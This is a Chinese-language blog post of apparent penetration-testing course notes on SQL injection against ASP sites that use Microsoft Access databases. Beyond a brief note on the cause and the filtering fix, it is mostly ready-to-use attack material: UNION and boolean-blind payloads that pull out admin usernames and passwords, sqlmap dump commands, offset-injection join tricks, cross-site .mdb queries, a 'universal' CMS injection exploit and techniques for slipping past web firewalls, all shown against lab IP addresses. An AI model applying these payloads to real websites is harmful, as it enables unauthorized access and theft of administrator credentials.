zoukankan      html  css  js  c++  java
  • 09.ACESS注入

    1.注入漏洞形成原理
    2.ACCESS手工注入
    3.ACESS注入工具使用
    4.ACESS偏移注入


    rart1:注入漏洞形成原理
    网站分类
    静态网页:
    html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。 1.不依赖数据库 2.灵活性差,制作、更新、维护麻烦 3.交互性较差,在功能方面有较大的限制 4.安全,不存在SQL注入漏洞
    动态网页:
    asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。 1.依赖数据库 2.灵活性好,维护简便 3.交互性好,功能强大 4.存在安全风险,可能存在SQL注入漏洞


    伪静态其实还是动态网站

    动态网站都是有asp/aspx/php/jsp脚本语言来编写的

    Access数据库:
    ACESS数据可就是一个mdb文件,文件下包含了很多表

    1.sql注入--注入出管理员账号--进后台
    admin user manager 这三个表里存在管理员账号

    2.要明白注入漏洞产生来自于哪里,产生原因是代码,没有做过滤
    3.注入语句,是根据数据库来执行的,什么注入语句要明白它是什么数据库
    常见的数据库 :
    Mssql、 Mysql、oracle、postgresql Db2等

    select * from nevs where id="42"
    //去查询nucs id=42

    and 1=1 and 1=2 为了查看我的语句是否被带入数据库查询

    / -0 '
    .0 .1 有时候可以判断出有时候不可以,会被检测数字

    如何解决以上方法,对输入的内容参数做过滤,做强制转化类型


    a.asp?id=123&id=78&id=34 不仅要换34去检查 78这个地方也可以去添加参数检查

    url 探测
    post提交
    //比如登录,留言,搜索框
    //选择性别男女,也会有参数

    判断数据库类型 测试网站9002

    报错:
    '报错 出现 80040e21=acess数据库
    and exists (select * from sysobjects)>0 没报错 //证明是sqlserver数据库
    and exists (select * from msysobjects)>0 没报错 //证明是 access 数据库
    //sqlserver 有sysobjects表 access 数据库有msysobjects表
    //但并不是所有站都有,一般得看报错信息

    判断数据库表
    and exists (select * from admin) //页面返回正常
    //正常说明了admin表示存在的,如果不正常就去改表名,如果返回正常就正确
    常见的表名:
    admin /admin_user/admin_name/manager/manage_user/manage_name/adminusername

    判断数据库列名
    and exists (select admin from admin)
    存放列名的表:
    username/admin/admin_name/admin_user/admin_usr/usr/user

    密码的列名 pwd/password/pass/admin_pass/admin_pwd。
    //如果检测出来列名为admin_usr 那密码很大可能是admin_pass

    ACCESS注入:
    猜出表明列明,就通过联合注入来查数据

    判断字段长度
    order by 20
    // http://192.168.194.151:9002/showshop.asp?id=20 order by 9 //证明有9列

    //联合查询
    union select 1,2,3,4,5,6,7,8,9 from admin //结果为3 5 9 最后再在类上查询需要的 //有注入的页面不一定能跑出order by ,不行要及时换页面

    数据库联合查询

    union select 1,2,admin,4,password,6,7,8,9 from admin

    没有回显怎么办
    and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin //加and 1=2 报个错 或者在id-20 增加个-号

    Access逐字猜解法 (盲注)
    注入类型总体分以下几种
    1.bool 盲注
    2.时间盲注,延迟注入
    3.显错注入
    4.多语句查询 //多条语句放在一起执行 sqlserver数据库居多
    5.union 联合查询
    6.内联查询 //内联可以用在3.5里面
    但access 只有bool盲注,和union联合查询


    判断账户密码的长度
    and (select len(admin) from admin)=5 如果返回正常说明管理员账户的长度为5

    猜解admin表里admin列下管理员用户是5个字就返回正常,如果不是就返回错误

    and (select len(password) from admin)=5 猜解管理密码长度是否为5

    猜解admin表里admin列下管理密码是5个字符,是返回正常不是返回错误,一般不是16位就是32位


    猜解管理员账号的第一个数据
    通过判断ascii码来判断

    and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
    //测admin表里的admin列下的第以行第一个数据他的asc码是否大于100

    and (select top 1 asc(mid(admin,1,1)) from admin)>50 返回正常说明大于
    and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明等于97 97对应的字母为a 以此类推


    判断管理员账户的第二数据
    and (select top 1 asc(mid(admin,2,1)) from admin)>100 返回正常说明大于,不正常说明不大于 第三个

    and (select top 1 asc(mid(admin,3,1)) from admin)>100 返回正常说明大于,不正常说明不大于 判断管理员密码的第一个数据


    注入工具使用

    sqlmap
    1.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20
    //查看是否存在注入以及类型
    //看他的数据库类型,版本注入类型,找到他保存输出结果的页面

    2.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 --tables 直接猜表
    //acess直接猜解表,不用看库
    回车默认即可,也可以自己添加字典
    字典路径C:Python27sqlmapdata xtcommon-tables.txt' (press Enter)
    可以找到字典表明自己添加字典

    please enter number of threads? [Enter for 1 (current)] 设置线程最大10
    爆出:
    admin
    config
    menu
    news

    3.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 -T admin --columns
    //列出表列
    加载字典默认10线程
    等待出现:
    amdin
    passwor

    4.sqlmap.py -u http://192.168.194.151:9002/showshop.asp?id=20 -T admin -C admin.password --dump
    //测admin,password的数据 会自动破解md5 然后登陆后台


    工具2 pangolin3.2.6穿山甲 跑ACESS数据库不错,其他的就不一定了

    http://192.168.194.151:9002/showshop.asp?id=20 注入点
    GET类型
    Access数据库
    integer类型
    点击date,在点击tables列表明
    勾选admin password 在点击Datas

    PART 4: ACCESS偏移注入

    什么时候会用偏移
    在爆出admin表名 但出不来列名的时候

    用*代替字段长度
    用*号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,* 代表了所有admin表的字段


    union select 1,2,3,4,5,6,7,8,* from admin
    union select 1,2,3,4,5,6,7,* from admin
    union select 1,2,3,4,5,6,* from admin
    会爆出密码
    通过信息收集这个密码可能有用

    第二种偏移注入:
    实例靶机:http://192.168.194.151:9005/show.asp?pkid=4827

    order by 38 列
    第一次偏移
    http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 from admin
    //即使能爆出很多列,但并不知道具体哪个列
    加*号逐一往前减
    27列爆出了一个列名为admin
    用总列名减去剩余列名等于刚才所减的列名。 38-27=11
    然后就是这:
    http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
    //如果还是错误,那就得代入公式
    公式为:* from (admin as a inner join admin as b on a.id=b.id)

    第二次偏移
    结果为:
    http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id)

    第三次偏移 再减11
    公式为:* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    结果为:
    http://192.168.194.151:9005/show.asp?pkid=4827 union select 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    第四次:
    //要最前面加( 在复制一段c ,粘贴末尾,把as c改as d 在末尾加)
    * from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)

    如果还爆不出来就加a.id,b.id,c.idunion select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,

    也可以查看后台代码的名称,可能是列名


    垮裤查询

    什么情况下垮裤
    iis7.5 即使找到了数据库也不能下载x.mdb数据
    例如
    通过爆破等找到了a网站绝对路径c:/inetpub/wwwroot/xydata/xycms.mdb但无法下载
    b网站,c网站注入

    绝对路径 [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user
    旁站为8003 asp?id=31 union select 1,2,3,4,5,6,7 from admin_user
    查主站为8004 asp?id=31 union select 1,2,3,4,5,6,7 from [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user
    爆:asp?id=31 union select 1,password,admin,4,5,6,7 from [c:/inetpub/wwwroot/8004/xydata/xycms.mdb].admin_user

    利用旁站去查血目标站的数据库,首先得知道路径和表明

    exp构造

    同类型站点的查询语句 asp同网站的账号密码执行语句其他网站有可能也能用,相同cms
    看自己工具包的exp构造语句

    xycms
    通杀注入exp
    union select 1,admin,3,4,password,6,7 from admin_user


    通用型防注入代码绕过
    通用弹框拦截
    改变数据提交方式
    代码防御
    +代替空格
    %0a、%a0代替空格
    混合使用绕过
    url编码绕过
    使用sqlmap的tamper

    waf一般就几种
    1.自带通用型防护代码
    弹框拦截:
    实例8009

    http://192.168.194.151:8009/shownews.asp?id=27 and 1=1 //显示弹框有非法字符
    / 报错
    -0 返回正常 ,有注入
    被代码弹窗防护办法,使用hacbar里的post

    1.post提交
    裁剪id往后 ,放进下面post里: id=24 and 1=1

    2.cooki提交
    借用工具包的《注入中转》
    打开中转exe添加注入url地址,来源页面
    http://192.168.194.151:8009/shownews.asp?id=25
    注入键名:id=
    选择ooke注
    post提交值改jmdcw=25
    在去掉url asp后面的id
    生成
    打开aspweb.exe
    生成的网站hi本地的,127.0.0.1fsf/asp?jmdcw=25 and 1=1 返回正常 过掉代码防护


    代码防御就用 +来代替空格
    %0a 也可以代替空格 ?id=25%0aand%0a1=1
    ?id=25%0aa%%n%%d%%0a1=1
    也可以把变换来的id=25%0aa%%n%%d%%0a1=1 用来提交post

    编码绕过

    混合绕过=变化大小写+编码+变化提交方式

    渗透路慢慢,那个人叫方寒
  • 相关阅读:
    HTTP协议概述
    Linux grep
    用bindService()启动Service的方式与生命周期
    关于服务Service使用startService()函数启动时的生命周期
    sendStickyBroadCast函数的使用
    让Eclipse全屏的插件
    多个BroadCastReceiver同时匹配同一类Intent发送的消息的情况
    JFileChooser的使用心得(FileFilter)
    php mysql实现无限级分类 | 树型显示分类关系
    关于php扩展编程如何返回数组的问题
  • 原文地址:https://www.cnblogs.com/fanghan/p/13899117.html
Copyright © 2011-2022 走看看